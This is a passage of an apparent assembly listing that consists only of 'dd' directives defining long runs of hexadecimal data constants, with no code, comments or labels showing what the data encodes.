3249C1h, 0E6FD2554h dd 2A7AB3E0h, 40A82F16h, 0BD3C56B8h, 4157D79Ch, 16C501C1h dd 0E7B44070h, 7600B490h, 0A19609Dh, 1D3398F9h, 836288DDh dd 0C8F67861h, 68C2BEB0h, 0E0918C00h, 5A2392F4h, 29AE0A79h dd 0FFE827h, 557BD9DDh, 9A018CE5h, 0F33C634h, 14F8DC28h dd 0E0ECA080h, 5D2F01A3h, 8E93A8EFh, 0EAA2C4D3h, 6E732A07h dd 5C901ED5h, 0FD0CF1h, 22B40F0Bh, 0A4EE64E4h, 530004F8h dd 21023680h, 1CAE1933h, 1FE1E565h, 6837C0BAh, 0D3561C75h dd 51854500h, 6B1765BBh, 0E1D00711h, 501FC669h, 9DBD1B2Fh dd 4589C41Fh, 7A50077Fh, 0A5F07D39h, 605823h, 9A62483Ah dd 0BA5D9DA3h, 0B7F9D800h, 11EC0421h, 2E5A006Dh, 92DC8AAFh dd 1800D176h, 7FC656E8h, 0A1AADh, 0BEA06474h, 0B6A636E1h dd 473BF400h, 97CA12F6h, 29C50056h, 0CE57133Fh, 707874A4h dd 0B8D4FF00h, 0CA723A7Dh, 0B3D707C5h, 10ED2B0Fh, 9403909Bh dd 74004EB0h, 0A94AD8D6h, 981F9626h, 8F630054h, 0E1DB8AC5h dd 4900655Dh, 0DE480C40h, 7F1642Ch, 0D2A03847h, 0EEC9E0B4h dd 267199CEh, 20E07F0Ah, 0C400B402h, 29D635C3h, 3E652CADh dd 0CE8F0CF6h, 0C6004011h, 0D0CF991Dh, 0EE58B6CDh, 72AE000Eh dd 108C26FDh, 0C500480Dh, 0EE6C4331h, 0EBF8221h, 0E0E707A5h dd 8BC63B20h, 25E4A905h, 8108383Ah, 57A03010h, 3970B903h dd 0C6F70099h, 0B9A1B75h, 0AFE89D06h, 0C9087C00h, 45D6B6D2h dd 0E2E002Dh, 8F777FB2h, 9F001C40h, 2F25604Dh, 3331435h dd 0FC97EB5Bh, 28B836E4h, 2309B2ABh, 92117Ch, 0FF594E3Eh dd 0C9B507EFh, 10453CF3h, 331C6AE8h, 7C1E248h, 32F65B6h dd 85D72560h, 9FF80029h, 7A08B017h, 0E400E811h, 0FA9C46A9h dd 17B83F6Eh, 0DA74D0h, 6C8FDC79h, 0E00FE3Eh, 8D199CC8h dd 22FDBAh, 30BB83C1h, 0B3E1B761h, 39381A7Ch, 7374044Bh dd 0FFC077EFh, 0CA3C0Dh, 334294E9h, 451EB0BBh, 1A987B00h dd 28BD301Fh, 0E29B0E58h, 0A4404943h, 0A37418B6h, 0DBF74600h dd 4B25D3F2h, 0C477268Ah, 0FF2A070Ch, 818DD297h, 648E72C0h dd 44CE12C0h, 0AF7825h, 0D9C088C1h, 1EDD4A18h, 3D69B500h dd 0A2E3D8FFh, 563A0079h, 0F5B70F8Ch, 0FC006F86h, 0B669DFEDh dd 0DB896Ch, 23ABAE16h, 75B0B770h, 0D3D5DE07h, 4BB0047Dh dd 512DD1h, 367B39A8h, 71E9197Ah, 9F57243Eh, 0F7FCF3FFh dd 8DE1A100h, 1C3E6220h, 0D9F62848h, 748400E2h, 320A8A4Ch dd 0D32466A3h, 2D02719Ch, 6878EE5Fh, 4090B468h, 76007EDAh dd 5A121186h, 4E7E1AEh, 0B4156C02h, 856CC0E5h, 870E6947h dd 0C0E0E4DBh, 0D0A471F8h, 2F210034h, 0E695CC82h, 4500CE0Ah dd 434FE362h, 0B8F5FCh, 610709A5h, 0C16601C2h, 0CF4B7B00h dd 0D715B00Ch, 0FC1E0E44h, 344E6856h, 9C5E8480h, 5C00AF42h dd 3E22BB7h, 370982h, 0D4F670DCh, 0EBB8A099h, 0B360200h dd 8D1E7D2Ch, 67DB00CEh, 161B5397h, 62E20423h, 31B08300h dd 0E68F6D9Ah, 89B200FCh, 5AC127C4h, 20C06136h, 0E3110187h dd 0F879064h, 3FBA8269h, 0DBBBC00h, 10C08586h, 262C1C62h dd 21943E69h, 455E2A8Bh, 98B807h, 17E14120h, 2D82910Eh dd 687F2323h, 1175D880h, 1C4E2D5h, 7E38335Dh, 0E9A6A1C0h dd 7AE08050h, 3C240EBh, 1D72002Ah, 3DDDA7C1h, 0B21E69B6h dd 2003F206h, 0E0098EF7h, 124B94h, 0F45CB072h, 9FAA952Ah dd 0CA4D4907h, 3A607B64h, 0FA5B752h, 0D9727C90h, 0B5EACCE3h dd 0CA5D1E00h, 1927740Ch, 2B1D03EDh, 0EE535B7h, 0E1A876E3h dd 6203C76Eh, 0EBF094F8h, 0C346AAC6h, 2F619078h, 0FE2200ECh dd 239ECABDh, 2B26C076h, 0D40163BBh, 5C69AF9Dh, 8E1AC4h dd 0B3A32F0Ah, 8694103Dh, 0AA9BB009h, 41B78050h, 17453Eh dd 0C13F443Bh, 5423389Fh, 16786E00h, 2B69C820h, 4F50005Ch dd 98F03D79h, 0A900D019h, 3EC742BCh, 5EEF9Fh, 762AF6F1h dd 0AB2D0B3Bh, 3F436900h, 8F08B6C4h, 0FE930092h, 5B449FF5h dd 68004153h, 0E6D580FCh, 8777B9h, 0CDDD7A3h, 3439F0F5h dd 0F9BCAB0Ch, 0F82816h dd 487546BFh, 4D96DD8Ah, 0B5181760h, 4A441DCAh, 0BA530005h dd 1C7A73A3h, 0E100BBEAh, 0E56AFED8h, 0E63CBF5h, 2FFFD4AEh dd 0DB0072AFh, 7D0FC015h, 3C6F940Ch, 1784B0B0h, 0BB6EA578h dd 0BF52C400h, 2892C0EEh, 29203AFh, 0E6E88F8Ah, 0C285FF25h dd 424BC031h, 0B009BD5h, 63936753h, 76E4DE8h, 0D7CE9822h dd 0B825E0F2h, 1B0F47D2h, 60F1B2C1h, 4329FC88h, 5128002Ah dd 0B64F4BD9h, 0E7029FE0h, 0EFED3AE5h, 2E38E879h, 211C88A1h dd 0B9630800h, 1822692h, 8F650F3Ch, 0D040ED9Dh, 7AEC94FCh dd 36E5CB00h, 52642162h, 2C90B039h, 30B9A67h, 2FB5F787h dd 0FBA14990h, 0E3FF4F07h, 0F500ABDBh, 0F9E5B7Ch, 8FA448B0h dd 4881DF69h, 0C7D4A533h, 0CC2874D8h, 888EF0Fh, 0E8C0A037h dd 394AE58h, 6CA3A5C8h, 31CB75F0h, 4C372FA0h, 16C38D00h dd 0DBA97021h, 9B661D13h, 77F7C011h, 616985AFh, 2280A8BBh dd 64816286h, 2A6E0019h, 0B3F88AC9h, 0C81D1584h, 94807D0Eh dd 0BD85A591h, 0E9B11864h, 8C6696Ah, 6E0C3B00h, 31720A45h dd 5C33079Dh, 0AA4A8497h, 4CE800B1h, 934E824Fh, 0CD3B9500h dd 32A1AA78h, 17A900BFh, 0D9D649FFh, 4B380FF1h, 9FA8800Dh dd 3365E52Ah, 16EA0F2Dh, 0D055255Ch, 3C47A500h, 36977599h dd 0F9C7960Ah, 3009CBBh, 80EF705Dh, 8682004Ah, 6B68E569h dd 7414DB5Fh, 0ED49C1Fh, 48C167h, 0AD70752Dh, 90E70198h dd 64D6162Eh, 679BC4D1h, 2B760B1Dh, 6C14A40h, 741F4Bh dd 0FBF71A25h, 0E602117Bh, 0F959871Ch, 0F040F3CAh, 0D12D8001h dd 60C4C156h, 0DDE9173Ch, 0D5940008h, 0BB4A127Fh, 88000892h dd 469B4BD8h, 7EE5FFD6h, 0B0420028h, 387D12A7h, 18000126h dd 0A3579554h, 1EA420A8h, 0C01FCF89h, 8C34985Dh, 62F622ADh dd 0D8DFB575h, 66EB1404h, 0FFC83CC0h, 56B828A7h, 27350BF4h dd 8086B0E4h, 18C40A92h, 88A02F8Ah, 408D584Bh, 3BDB5900h dd 4EF1CB36h, 0EFEA8800h, 694535B1h, 15971FB8h, 213F8060h dd 1D53A6CFh, 56885100h, 0A4036ABCh, 0EC11596Fh, 3C611800h dd 0DDA3F981h, 66270501h, 0B400D3Fh, 0A8192983h, 14B05F5Ah dd 0CB01DBE1h, 0FB8A8826h, 0A7C0B5D8h, 13B1F409h, 363A96h dd 0C32D74C4h, 0FD048A28h, 60A70838h, 87C2CCD0h, 1CE6C6h dd 0B72EA6D9h, 0E63C7A17h, 4BCF7100h, 0A54F6C76h, 9CC100F7h dd 8F060123h, 0DA33855Ah, 0D2319844h, 878CA0E5h, 0A2145B8h dd 0AC248BCh, 0A43500E0h, 0F567D63Ah, 935C6303h, 0CD8CA240h dd 0BBB8200h, 2BAA57h, 2E6718BCh, 9C2D6F8Eh, 5C1B4000h dd 2A7B1095h, 24AD0009h, 573B520Eh, 1AC00A69h, 3FAB773Eh dd 25E53BF7h, 0CF00F63Ch, 0B61E26FFh, 0D5134C42h, 280064BCh dd 0DB4D3533h, 383405C3h, 80493658h, 1387DFC4h, 4F61F400h dd 4E1DB3D5h, 0AD1E00AAh, 488041EAh, 17009E6Eh, 5A7923D6h dd 0A97A7009h, 1DC89AACh, 0EE6E07C4h, 1EDB92FCh, 8639D160h dd 9B003252h, 3624BECh, 5260DBDh, 0FD60A474h, 0F6E40087h dd 17D4B57Ah, 4437D524h, 8EF81400h, 997065Ch, 3AFB2E0Ch dd 0DA554080h, 29072B45h, 4EAA4877h, 8116F6A0h, 964400CAh dd 254F853Ch, 770B7DD3h, 98803AD4h, 379EA24h, 0C9C2EB60h dd 0F08FF1DFh, 1A0F3B43h, 588F9907h, 0C1902052h, 27D7B002h dd 3800A9D4h, 0CFD87FAAh, 0C2378B0Ch, 1F18D3h, 0D2CE35B9h dd 1DE29F8Ch, 4372BDF0h, 9C444C00h, 0F7341E12h, 0F3363FDAh dd 0DCAB2Eh, 2268D7Dh, 0CC3EED27h, 108AA4DBh, 0F0A27E80h dd 80A4B2h, 7C83423h, 0B3384844h, 0BA486574h, 3C891BB8h dd 0C6468160h, 3D5860h, 0A340A85Eh, 4A9D1124h, 18AA3E26h dd 8BEFFF04h, 0F7C378C0h, 0D89A2Eh, 56F090F5h, 1A705CE0h dd 799D040Fh, 0E2073215h, 18A38176h, 6AA490C3h, 0BEDA0080h dd 0B5CE246Eh, 0E0CF14D2h, 0D0E9E3ADh, 74E18870h, 2E600B0h dd 4B5C17D7h, 0CA383FB9h, 0DB077840h, 6D84B16Eh, 0A3D14200h dd 83380089h, 156992B0h, 4007AE33h, 9A477D63h, 0D6F5C390h dd 0E56B0032h, 8A5099FCh, 2EE12F9h, 8EA29400h, 0FD595CB1h dd 9B56009Fh, 496E5F34h, 4805BFC9h, 4620B07Bh, 3357B401h dd 21D87CDDh, 0B898F6h, 162CC4A2h, 42E6F741h, 9557E00Fh dd 0EC0B602Eh, 864C02h, 0D2B1E8D9h, 4FB6ABC9h, 87F8CA00h dd 4A36AE9Fh, 11D0073h, 0AC06F644h, 4000D361h, 0B0828C69h dd 0C48A32h, 0E9025C1Fh, 0BF8359A0h, 50DEDF00h, 0F70CD26h dd 0CA4502D5h, 62F48201h, 5CFF38C0h, 0B08BF80h, 2C2AA758h dd 39FC8490h, 0C559A316h, 18B7D501h, 0E2C0971Dh, 0FA4526DDh dd 616600BCh, 19F3621Fh, 0AC47BE00h, 7B30880h, 52CD12B6h dd 7FA60074h, 56C76023h, 43CFD701h, 0CDBE0E8h, 41108E0h dd 72AFA63Eh, 27F8DAh, 0BD5117EAh, 0F4CCC9h, 0B933D2F5h dd 488A71DDh, 641348h, 8D2375C3h, 17838DBh, 0D22B7E3Dh dd 0E45F6090h, 3C00FD80h, 0FA82C895h, 5304DFh, 79BBF4Bh dd 144D9D2Fh, 0B87DBC00h, 0E8F6E628h, 0ED252E60h, 0B9550930h dd 1F44B980h, 0A500B27Ch, 313B5783h, 390DFAB3h, 0A4801066h dd 0C653A2Fh, 0DA02D814h, 276F2D8Ch, 0DF206093h, 0FEBE793Eh dd 1C9A0719h, 10BBE0BAh, 5F47A265h, 0E7837707h, 2DD04F36h dd 6A56A5h, 21B2E9C1h, 0DFECE043h, 6D866501h, 46906816h dd 45E870h, 144C1B92h, 9B01C93Fh, 2C834700h, 7322A8A0h dd 789609BFh, 9C00FB7Fh, 8C56F47Eh, 1100BE72h, 421E18C5h dd 3E42924h, 2BE1FDD4h, 19E3FB70h, 5C063AAh, 4E41640h dd 0A051390Fh, 3AFFE0B8h, 0F58D545h, 0B541EED7h, 6EB7ACA3h dd 0F4C1DC90h, 6317C600h, 8D0B2E01h, 0DA7070Eh, 9508E7AEh dd 58BA8089h, 0B500E2DDh, 19EA2B37h, 0CBA176h, 51C7E975h dd 53B8D45h, 3E83D4FFh, 99DDFF00h, 0F39D963Ch, 38E61D32h dd 747E008Fh, 5589E388h, 0DBEC6100h, 830D05EDh, 9739137Bh dd 9D2301ACh, 0C4F380AEh, 0A7D8DF2h, 5A9AB100h, 0F2AC27Ah dd 284A036Bh, 0CC49EE3Bh, 73EB47A8h, 3E02E101h, 2BD02393h dd 1E7B9AE0h, 404E509Dh, 6D99CC40h, 0D8071065h, 0DAE9E33Eh dd 7E5EEC90h, 52FC1EA7h, 936D80A8h, 0AC12FD4Dh, 8025213Ah dd 4185662Ch, 12B26270h, 11B532F7h, 7F88F8h, 0C503C4FBh dd 0D5773720h, 60AB200h, 0E1768FC0h, 97F4B6h, 42B883C7h dd 8A4DB95Ch, 33F26C00h, 0F73529Eh, 0DB78001Dh, 90E6344Ah dd 963C7F2Bh, 7E5C80FAh, 0BAD03FA9h, 655F0143h, 0F73E94C6h dd 0C76DECBEh, 81724607h, 96088D4h, 5EFDCEh, 68662314h dd 960B2DDFh, 7AB0314Bh, 434B0078h, 1A74B27Fh, 5003671Dh dd 0FAA530F0h, 512E8AFh, 733500CBh, 0C98A1A61h, 7E013376h dd 201EB660h, 0B2708E7Bh, 0E1CF1D72h, 26134089h, 9B214229h dd 3CA02700h, 0DF0B953h, 7D950130h, 8739FE98h, 5D0CF0F8h dd 74005BE4h, 9BBB2AE3h, 0D952B7h, 0DBE9D1ECh, 0F443E1C4h dd 0B0F99D00h, 49322BCEh, 99EEBEh, 0C8D2981Dh, 0FF0E896Dh dd 5E00A090h, 16B4BC83h, 3CC7C9CEh, 48833265h, 28AD291Ah dd 0BE4EA590h, 6328687Fh, 0CD00C1F2h, 0ABC12032h, 0CA6F54h dd 0E9764A45h, 254969E0h, 83AE303h, 0B85283E6h, 46667Bh dd 0A7C44530h, 0BED39D39h, 58FDC800h, 8F4A244h, 936B0056h dd 621D6703h, 0F9A07D06h, 0C17CF089h, 0FB99BF00h, 0D7504A1Ch dd 0BA44245Ch, 634883B8h dd 0F9D0B528h, 62461E6h, 74802826h, 0CA899023h, 32F725Fh dd 532C5A6Fh, 29B17848h, 0FF1DC0D9h, 30E06D00h, 0B615245Eh dd 0F4FA0050h, 0D7597622h, 0C5010490h, 1A6DC4B1h, 3007EDEh dd 9F00685Ch, 46EDD3Fh, 2299D59h, 0E65DFBDFh, 0E8811736h dd 80156A61h, 9622A559h, 1F8E2FEAh, 0C0395081h, 68FBBBC9h dd 9F98E96Eh, 0B95D4700h, 28B51F11h, 29F20056h, 0C5608AEFh dd 77000F04h, 0BDF3FEA1h, 5D70F5h, 0A09BF066h, 15AF79E0h dd 0E87FDA0Ah, 3609F50Dh, 77B3011Ah, 90D7548Eh, 0A2D666h dd 0F6D5427Ah, 0DFED535Ah, 1E00A5FAh, 765F8917h, 0ED93CFCh dd 9F883E8Fh, 14A4556Ah, 1807E458h, 33E84B4Eh, 8E88E398h dd 6D25D763h, 1DD07675h, 9D72C0C0h, 8DB61996h, 0C4230B00h dd 553C1A5Ch, 4EF77B7h, 614B43ADh, 0E16480FCh, 207059C2h dd 48A19158h, 87500064h, 0EF6BE686h, 832C0096h, 8B340C33h dd 52603164h, 23208990h, 1CB13EEFh, 4B10E3B0h, 0A71476DFh dd 0BA4841h, 4518611h, 68C3CEh, 42D11BAEh, 6EEB5CF3h, 0CAC11800h dd 63D74892h, 0B9E9005Ah, 0C9D0DA58h, 0C40E4E10h, 0C0512B14h dd 20858194h, 6F91EB3h, 87808A54h, 0B5A7018Ch, 0B9DE31ADh dd 1B4980B8h, 1DD1A6E6h, 7DCC00D5h, 8D833C0Eh, 387B704Fh dd 4A87354h, 0FC008F73h, 2A8B3190h, 68634C3h, 0EFD5DA2Ch dd 6318617Eh, 0D2F151FCh, 0B5DE00F4h, 5C3AAC77h, 0F9B8706Ah dd 0CB9D116h, 0AB52A000h, 71E2563Ch, 2DE80035h, 0B10ACB0Eh dd 0FBE63444h, 0AD87A900h, 0E96F9F82h, 97E200F1h, 7D2F1AD4h dd 880067A4h, 19D1B3A1h, 1427C17Ah, 0E0230840h, 0DC9DE700h dd 11CB91C3h, 0DDF0E460h, 149570C2h, 0C3232C88h, 8C96218h dd 20C08A98h, 0A1957458h, 0D3710082h, 0A6234708h, 3C3F2AE2h dd 3BE480BBh, 0DB88DD43h, 35E9CE5Bh, 0D7FD2241h, 0D83DF4BCh dd 18EF4C3Ah, 1B20D6A9h, 0B42003FFh, 76ED91Fh, 0F2D17D90h dd 0B99F9102h, 0C1E356C1h, 588058D4h, 0D1206B0Eh, 0FBB05784h dd 0D6159FE2h, 1C43BE1h, 0DB5CF789h, 1ED4D381h, 0D04C02A8h dd 155FC0EBh, 1FB6ECA0h, 92003B68h, 478490E5h, 55777EFh dd 956762C3h, 6A8C0158h, 87667C53h, 0BD8F2880h, 928CF540h dd 95C50B38h, 9F031AF3h, 0DBB01B17h, 2500776Ch, 0DDD603DEh dd 85F2A8h, 0EAA496A1h, 4C3A39CBh, 292B3Ah, 0FC9213FBh dd 30E2A49h, 0B7089B9Ah, 0A6C0988Fh, 9602CD76h, 79D74AD1h dd 0C3A4E21Eh, 25083CC7h, 17F0EB42h, 0B2077DE2h, 2BCD9A79h dd 0EF6947C0h, 0CC640054h, 0E2996A88h, 9F0EEB6Dh, 80745026h dd 47CA628Ah, 29F862CEh, 0B2168DCh, 13002CF9h, 198161E1h dd 111C94EFh, 0C541016Dh, 17744FC8h, 6446608h, 51694494h dd 30C9CB20h, 0E07913EBh, 9881432Ch, 0EEF1440h, 2F78CA2Dh dd 50D91E14h, 86C211Ah, 0A3941067h, 2E6F1B64h, 7802F529h dd 11F69B6h, 160C267h, 2413CCBFh, 0E6002970h, 0CAFA58ACh dd 77068FA7h, 0AFCB008Eh, 70D75E45h, 243CB913h, 7690003Fh dd 6C522F99h, 18E10F4Ah, 88204D3Bh, 8B81FF64h, 0D7FAD800h dd 0DE466374h, 0D5C2070Eh, 60496BE5h, 0D221E364h, 0AABC320Fh dd 0D01E01Ah, 3A53A3Dh, 0DCAEF986h, 0F680E0F5h, 90C0EFD7h dd 233D484Eh, 27B516ACh, 0E5140006h, 0EFC1A49Ah, 0E667ED00h dd 217E5972h, 788701C4h, 0E9346C97h, 6AEBF864h, 26309800h dd 9EAACDBFh, 17F609h, 3E36298Ah, 3596B1BBh, 16004AF2h dd 265C5610h, 2883202h, 49D2CA1Fh, 34430FECh, 0D47ADE0Eh dd 0BEC54023h, 137BF4h, 6B21AECEh, 0D65A200Ah, 0DB44F81Ch dd 0BEA4280h, 231FF4h, 9874B0C6h, 585E7F6Ch, 177AD000h dd 0C396F248h, 0BE5F070Ah, 0D0DB8465h, 0FDA84B04h, 0C8744304h dd 68802447h, 0A3C1C95Fh, 0BC3BC1D4h, 0B86000E3h, 0A3EF58B5h dd 0D50F7710h, 0A094B266h, 0E855963Eh, 176F18A5h, 0C7DD20EEh dd 40903D00h, 39B8A060h, 3534076Dh, 30508E76h, 16C711EAh dd 1F3F7307h, 0F01041BFh, 0C35AE2h, 12A5024Eh, 42D6B1E1h dd 49B5CA07h, 0F201D955h, 4FD8FC83h, 10740713h, 0D01801AEh dd 32CC7866h, 0A1FE2A01h, 6E99B230h, 7FEEB671h, 609DFBE1h dd 0E9142D96h, 0FE4033h, 7CE0AFC9h, 1F15491Dh, 0C02BBED0h dd 76173DEEh, 69006214h, 4BC822B2h, 5B189F58h, 0E7A85Fh dd 85E81C04h, 6B2A82h, 2BC18C44h, 7F234330h, 4B31B000h dd 9F371394h, 38670012h, 8872F085h, 7D0080C2h, 0FCA5E96Dh dd 0DB4D7Ah, 2D0C9E6Eh, 0A71F18Eh, 0F1C2700h, 47A4EED6h dd 0C33000DAh, 443354ACh, 0F007783Fh, 2D45EC69h, 1B0C808Eh dd 419C66h, 0B6707459h, 427C2EF6h, 8D788300h, 3B847DDEh dd 0F9A4185Dh, 1FC84C18h, 2BA2D400h, 24BC2152h, 0B91100E1h dd 0F6E95C91h, 0A8EE2CA7h, 2D0018EAh, 40CE1486h, 484E96CAh dd 3C02EEAFh, 0EF67D0CCh, 801DD087h, 291CC3B5h, 0C6ADB02Ch dd 0F058300h, 7E73730h, 3E6A7764h, 9956E0DDh, 0EA2E2C6Dh dd 0D070B4Eh, 0EC505D47h, 198A2CDh, 245607A8h, 0C18668C4h dd 54A6C0D6h, 0FD165000h, 4C06B483h, 0BDF1002Ah, 0A2D179C4h dd 151F74ECh, 21CF6EACh, 0DBCB602Eh, 1DE5D216h, 40927DFBh dd 433D769Dh, 410AC619h, 0E8F0986Eh, 9E057481h, 8B204ADEh dd 5EBE00D6h, 4016C919h, 9F726A0Ah, 2FE77F50h, 0A6111F00h dd 0D49EA7A5h, 999C00B6h, 7C6ED2C2h, 9B7D667Ah, 62354000h dd 0A5CBF788h, 0D20D002Eh, 9CF4FAE4h, 200B8D0h, 340F8E98h dd 592586Ch, 0DB37DF91h, 5BD3C093h, 0A4001A24h, 51763263h dd 9B2E7Ah, 4026BDF9h, 69E67EB3h, 5938C21Ch, 0F7C0A8DCh dd 0CD32F172h, 907A008Eh, 44B1A4ABh, 700E4385h, 0C09D7D06h dd 219AA9E9h, 17143DA3h, 9F890B80h, 0B14770E2h, 2767C600h dd 0AD8651A6h, 3AD80075h, 0D6159157h, 7A3C4946h, 611007EDh dd 0E84014DEh, 5FE2D1h, 0B66A2201h, 94520D2Fh, 7AD3C400h dd 42F0C016h, 0ECD39057h, 254B00D4h, 5F1DA7BFh, 0DB076EF7h dd 0EE1204BCh, 6A69DFB0h, 0C7CA38B0h, 387A812h, 5CB1B649h dd 0D2F150E0h, 9A38F0EDh, 0D156391Eh, 10AC574Ch, 0A03400D9h dd 0B0EEB591h, 0E50FDD99h, 40816731h, 0FACCB1E0h, 0F57394h dd 0FB29644Ah, 23AC7318h, 0CAAFB601h, 7F26975Bh, 3CEC9C20h dd 0B876C46h, 6FFFBBFEh, 0F80F5CAEh, 0AE3A38C0h, 8300E2DDh dd 4702ADE1h, 325698Ch, 24519D66h, 0F8C0CA7Fh, 281E23ECh dd 0DC801359h, 42F75EA9h, 4FA8001Ch, 4794218Ch, 76047B2Ch dd 6F9F3924h, 0C02F6780h, 0F98F01CFh, 0CAF570B6h, 2C56DC32h dd 0A4DC7A03h, 0E0169736h, 0B3D1C9h, 41B65291h, 84FD65DBh dd 5CC11D00h, 2E4754F6h, 735A00EEh, 0FC2176EAh, 0C006EE6h dd 4F88380Eh, 90AE2959h, 0FF8709C7h, 0A003EABBh, 8CD0D40Ch dd 70F1E8Dh, 0C08E9A0Dh, 0D9C57170h, 214A1DEDh, 0A85D40F0h dd 10E0ECF9h, 0D5F839h, 0BE7DFD6Bh, 0F1FC2C3h, 19B6CD85h dd 0C8F344h, 691D9BAAh, 0FFD6007Fh, 61B23FF0h, 0A200C6B8h dd 0A0A594E7h, 0D19E5Dh, 25EA9B08h, 0C507F94Ch, 55FBF200h dd 90A686AEh, 247A3CD1h, 3E00213Dh, 0FB56A703h, 230E358Bh dd 0E0046DA3h, 73F940B4h, 0FD2FA38h, 0DFC21D2Eh, 0AB1833E1h dd 0E416C036h, 0B10EC900h, 75FD288Dh, 0B2090097h, 0A90CE5B8h dd 0D7008833h, 8DE039C9h, 73953ECAh, 5667070Dh, 0A07317DDh dd 0FDAFD4A9h dd 3928E00h, 9CCEBF02h, 7984009Eh, 0C6AA6F97h, 9300D004h dd 41142DBEh, 0D6EF05h, 0CB5FA78Ch, 0EDFF98A0h, 751A0D0Fh dd 924D80CCh, 364B94h, 0F531ADF9h, 0DFDED590h, 0A9933Fh dd 1C28EE6Dh, 3AB1653h, 0B54C3969h, 85E8128Ch, 0F903879Ch dd 1C5E8E5Bh, 0F079AB43h, 327AD6h, 0A4DF349Fh, 3E0B5960h dd 1B0F9277h, 0AFE1B474h, 8D220323h, 469988EDh, 0DE8E000Ch dd 879D296Dh, 0E53DB2E4h, 0A90C759Eh, 68F660E2h, 0D45100AAh dd 8386F8CFh, 7403C7ACh, 12F3B6A1h, 0C833E0A8h, 756F00EDh dd 0E3305E7Bh, 5600923Dh, 17F15CB6h, 1C8D0h, 0AA53CD7Fh dd 198BEE46h, 7102A400h, 0C9AE344Bh, 3672C4h, 0B499237h dd 5794CBE7h, 0ED0AAAE2h, 0A8E262C6h, 100DC000h, 0E78D5D3h dd 0EBC789FBh, 0D72CB740h, 0BB2C888Eh, 920B9B9Ah, 0E9D40081h dd 3E6D52CCh, 380D057h, 187282C8h, 2800EA90h, 2E0977E7h dd 0A747E8h, 2B8C2CFDh, 72036C25h, 705B7C1Dh, 0D6007393h dd 0C7485452h, 0A91C0034h, 29131B15h, 8A005305h, 0DE9AB51Ah dd 36B2FFh, 0E8CF4C5Ah, 0C07D5677h, 994FA100h, 929C9337h dd 0D318C0EFh, 13264C6h, 97CBB624h, 0FD44E000h, 5D33A7h dd 85FE4FFAh, 0BC498E9Dh, 9BA07303h, 0F8902F03h, 7B16F62Bh dd 675FF8B1h, 20D3B2D1h, 0D0A0300Ch, 3516E87Fh, 0A3032AC6h dd 0E1FEE914h, 57F417A7h, 0B1E400A3h, 0A8821B03h, 0B3006FBFh dd 0FEB5EF6Dh, 5B563Ah, 128E8BA6h, 0D33D3957h, 0E5496C00h dd 97FB6042h, 0E2451F40h, 70AEB7h, 2073D922h, 11001E02h dd 715A0BF9h, 38BC8FF2h, 0AB80A9C8h, 88DC509Ah, 0D000B293h dd 0DDFD7CD9h, 781ED197h, 0D5062C68h, 0B29C00A7h, 3CCB8B78h dd 5493C31Dh, 0B628C198h, 7DBB031h, 0EAAA4ACAh, 0CF90F29Dh dd 86336460h, 0C5100F00h, 4A58A356h, 4300067h, 7CEA4593h dd 5201B411h, 0E8DDA80Eh, 0C0CFD35Ch, 74D5B6BDh, 22FF00ACh dd 0D649969Dh, 841DB325h, 768099A5h, 40AF0D8Ch, 7DE203C2h dd 6C36340Eh, 0A4991EA8h, 0AC00C4F0h, 218F19BFh, 1CCD0B9Eh dd 0C0338226h, 943BF14Ch, 8700CF74h, 4953C066h, 5AA590h dd 0BF012A17h, 747CE40h, 0A98B9E00h, 0F12BDFFBh, 0AD8400A0h dd 66A32CAFh, 0A79810DBh, 0C718A200h, 78286E9Ch, 0B44B0023h dd 337CECCDh, 0FB008CD3h, 3A976477h, 19369D1h, 96814DDCh dd 70953170h, 1B0E1CE5h, 254EC7h, 2CDE9D4Ch, 7EFA002Fh dd 5FEC590Fh, 44004334h, 9F2A4D64h, 0D88920h, 0A97C2D29h dd 1757D111h, 0DC920300h, 827FB84Ch, 0D9FA00F3h, 0A11DAAFFh dd 0B518A7CFh, 0E6286CC5h, 0BB410065h, 0EEE04EC1h, 0B0FAD21Fh dd 0C21C2E00h, 688A873Eh, 0B9DA0018h, 0FF6D619h, 0EB03FD53h dd 17352ABFh, 9801F894h, 0C325001Fh, 95CBC205h, 483B34FAh dd 9B4007A7h, 979003FFh, 0F4961B63h, 0D9E800F7h, 7AD43060h dd 0A7007739h, 6771A26Fh, 695184h, 0B0D62110h, 7FDB89C9h dd 7CC8EE01h, 725A2A4Fh, 0B678C0C6h, 8C1100A7h, 9220E744h dd 0B3006801h, 0EC906217h, 758ABFh, 3AF285C4h, 0F1535886h dd 0AF260700h, 0A79E1B3Dh, 0E7D93B66h, 83699180h, 12D490F2h dd 782FBE00h, 0D99394E9h, 0FCEB7B4Ch, 3990076h, 8013BD7Fh dd 0DE013A8Fh, 5B68C474h, 29D4B212h, 2E3F005Ah, 2CD2CEB5h dd 0A0326B7h, 0C6DE75DAh, 0E602C822h, 0CBC33853h, 3C0C761Fh dd 0C0995000h, 6369F06Ch, 4871AB0Fh, 5B92A71Dh, 0BB84B0D0h dd 0DFE93844h, 0F2624A00h, 0F378C819h, 9BD9160Fh, 1411A16Bh dd 96E08627h, 0F6741B90h, 25E921B3h, 0FEAD60E7h, 6307C407h dd 0E04E5841h, 923D1C7h, 702900F0h, 0A2C35FD7h, 0E40033D4h dd 9A78E5A4h, 1F4EDFh, 0D872BDF8h, 0ED6D555h, 89A71024h dd 0BC7C0Fh, 0BBE95262h, 0C88033Ch, 0DAFB0F6Ah, 5DF78C07h dd 2A0019BCh, 7423423h, 97F47E3h, 20390003h, 9FE0F09Ch dd 0DD4F0600h, 0E71C12E1h, 45E4005Fh, 0A7813209h, 8F3D82FFh dd 673D2Ah, 797B4833h, 39D4956Ch, 0A480E576h, 0A0E285A2h dd 0FA0A0201h, 0CD1C6DB7h, 0DD3D3Ah, 0EE834F92h, 1607ED9h dd 729CB56Eh, 309D2523h, 861E8A2Ah, 3700BC46h, 14380467h dd 475C001Eh, 0EACE8B94h, 430FE2B9h, 0C0817306h, 8F4A039Dh dd 4D7506D6h, 50A57121h, 99F91007h, 3E30E5F5h, 0FEFEA71Fh dd 0AE0D01E8h, 571C5D91h, 6F8407Dh, 8F00F176h, 81DC706Dh dd 1CACDFADh, 3C02FBh, 8C46E4C3h, 5103F12Fh, 1348AA4Bh dd 1EA6D07Bh, 6F4318D8h, 30983805h, 2FF86700h, 82EECB33h dd 105900A4h, 7FE2CA3Ah, 1600B46Fh, 0FD90D9Bh, 0FC5C30F0h dd 0D36A03EDh, 7F7D6B21h, 0EB75BDC8h, 0B4A998C0h, 93460Ch dd 0A771082Dh, 527C9BECh, 3955EE00h, 233EC51Ah, 0A0A312E2h dd 